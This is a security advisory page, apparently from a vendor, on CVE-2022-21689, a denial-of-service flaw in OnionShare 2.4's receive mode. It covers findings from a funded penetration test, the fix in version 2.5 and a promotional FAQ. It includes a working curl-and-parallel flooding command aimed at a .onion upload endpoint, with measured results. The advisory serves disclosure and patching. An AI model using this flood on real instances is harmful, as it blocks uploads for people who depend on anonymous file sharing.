Summary
Denial of Service in Onionshare
Between September 26, 2021 and October 8, 2021, Radically Open Security conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's Red Team lab.
- Vulnerability ID: OTF-012
- Vulnerability type: Denial of Service
- Threat level: Moderate
Description:
The receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script.
Technical description:
The following script uses GNU parallel and curl with around 6000 requests in parallel to send 10000 requests. A change in the ulimit -n configuration is required for it to work. This is sufficient to block file upload on a (public) receive instance.
seq 10000 | parallel --max-args 0 --jobs 6000 "curl -i -s -x socks5h://localhost:9150 -k -X $'POST' -H $'Host: csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------19182376703918074873375387042' -H $'Content-Length: 329' -H $'Connection: close' --data-binary $'-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"file[]\"; filename=\"poc.txt\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aA\x0d\x0a-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"text\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------19182376703918074873375387042--\x0d\x0a' $'http://csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion/upload-ajax'"
Attack duration was around 80 seconds.
Cases where over 99 requests were sent per second:
Every 0.1s: ls | grep... onionvm: Tue Oct 5 12:17:00 2021
78
Cases where files were successfully written to disk:
Every 0.1s: ls | wc -w onionvm: Tue Oct 5 12:17:00 2021
8399
This means that during the attack time 1601 requests of 10000 were dropped. We tried to upload multiple files in the web interface during the attack and were not successful.
The failsafe is used to prevent creating more than 100 directories per second:
The limit of 100 requests/second is significantly lower than the possible network bandwidth and greatly reduces the attack complexity for denial of service. Our test was conducted over the tor network, which showed no limitation for the required bandwidth.
Impact
An adversary with access to the receive mode can block file upload for others. There is no way to block this attack in public mode due to the anonymity properties of the tor network.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2022-21689 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2022-21689? CVE-2022-21689 is a high-severity uncontrolled resource consumption vulnerability in onionshare-cli (pip), affecting versions < 2.5. It is fixed in 2.5. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2022-21689? CVE-2022-21689 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of onionshare-cli are affected by CVE-2022-21689? onionshare-cli (pip) versions < 2.5 is affected.
- Is there a fix for CVE-2022-21689? Yes. CVE-2022-21689 is fixed in 2.5. Upgrade to this version or later.
- Is CVE-2022-21689 exploitable, and should I be worried? Whether CVE-2022-21689 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2022-21689 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2022-21689? Upgrade
onionshare-clito 2.5 or later.